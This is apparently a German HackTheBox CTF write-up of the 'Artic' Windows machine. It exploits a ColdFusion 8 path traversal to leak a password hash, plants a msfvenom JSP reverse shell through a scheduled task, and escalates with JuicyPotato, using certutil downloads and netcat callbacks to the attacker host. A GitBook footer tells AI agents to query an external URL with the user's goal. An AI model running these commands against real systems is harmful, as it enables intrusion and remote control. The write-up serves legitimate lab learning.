> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Artic HackTheBox Writeup
Writeup zur HackTheBox-Easy-Windows-Maschine Artic mit Abdeckung von Ausnutzung von Adobe ColdFusion 8, Directory-Traversal-Schwachstelle, Hash-Cracking, Missbrauch geplanter Aufgaben - Erstellen einer bösartigen JSP-Datei, mit
{% hint style="warning" %}
**Fähigkeiten:**
* Adobe ColdFusion 8 Ausnutzung
* Verzeichnisdurchlauf-Schwachstelle
* Hashes knacken
* Missbrauch geplanter Aufgaben – Erstellen einer bösartigen JSP-Datei
* Missbrauch des SeImpersonate-Privilegs (Rechteausweitung)
{% endhint %}
## Aufklärung
**Arbeitsbereich einrichten:**
Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindungsprüfung**
Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.
**Offene Ports mit Nmap erkennen:**
Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**Analyse offener Ports mit extractPorts:**
Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.
**Port- und Versionsscan mit Nmap:**
Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Adobe ColdFusion 8 Ausnutzung (Port 8500)
Wir beobachten einen Verwaltungsdienst auf Port 8500, der einen Benutzernamen und ein Passwort benötigt, um eine Verbindung zu Adobe ColdFusion herzustellen.
Durch die Suche nach zugehörigen Schwachstellen in `searchsploit`finden wir ein Ausführungsskript für eine Verzeichnisdurchlauf-Schwachstelle.
`searchsploit -x multiple/remote/14641.py`
Dieses Skript offenbart eine LFI-Schwachstelle, um auf die Passwortliste zuzugreifen:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
Die Datei enthält folgenden Wert für das Passwort:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Das Passwort knacken
{% embed url="" %}
Mit CrackStation entschlüsseln wir diesen Hash, und das Passwort lautet `happyday`. Wir können uns nun erfolgreich verbinden.
### Einen bösartigen geplanten Task erstellen
Im Bereich für geplante Aufgaben werden wir eine neue Aufgabe erstellen, um eine bösartige Datei im `C:/ColdFusion8/wwwroot/CFIDE` Verzeichnis zu speichern, auf das wir Lese-/Schreibrechte haben.
**JSP-Datei-Erstellung:** Da der Server JSP-Dateien interpretieren kann, werden wir mit `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Neue Aufgabe hinzufügen:** Wir richten die geplante Aufgabe so ein, dass diese bösartige Datei ausgeführt wird.
/*/* HTTP-Server zum Übertragen der Datei:/*/* Um die JSP-Datei zu übertragen, starten wir auf unserem Rechner einen HTTP-Server:
```bash
python3 -m http.server 80
```
**Lauschen und Ausführung:** Wir lauschen auf Port 443, um die Reverse Shell zu empfangen, und führen dann die geplante Aufgabe unter `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### Flagge user.txt :)
## Privilegieneskalation
### Missbrauch des SeImpersonatePrivilege:
Wir haben festgestellt, dass der Benutzer das `SeImpersonatePrivilege` Privileg besitzt, wodurch er für bestimmte Techniken zur Rechteausweitung anfällig ist. Der folgende Befehl bestätigt die Anwesenheit dieses Privilegs:
```bash
whoami /priv
```
Um diese Schwachstelle auszunutzen, verwenden wir **JuicyPotato**, ein bekanntes Werkzeug, um dieses Privileg im Windows-Kontext auszunutzen.
**Erforderliche Werkzeuge herunterladen**
{% embed url="" %}
{% embed url="" %}
**Starten eines HTTP-Servers** auf unserer Angriffsmaschine, um Dateien bereitzustellen:
```bash
python3 -m http.server 8080
```
**Dateien auf die Zielmaschine übertragen** mit `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**Ausführung von JuicyPotato zur Rechteausweitung**
Wir werden nun JuicyPotato ausführen, um eine privilegierte Sitzung zu erhalten. Der folgende Befehl startet JuicyPotato, das `cmd.exe` mit hohen Rechten ausgeführt wird und über Netcat eine Verbindung zu unserer Angriffsmaschine herstellt:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**Anmeldung bei hoher Sitzung**
Um die Verbindung abzufangen, lauschen wir auf Port 1234:
```bash
rlwrap nc -nvlp 1234
```
### Root-Flag :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
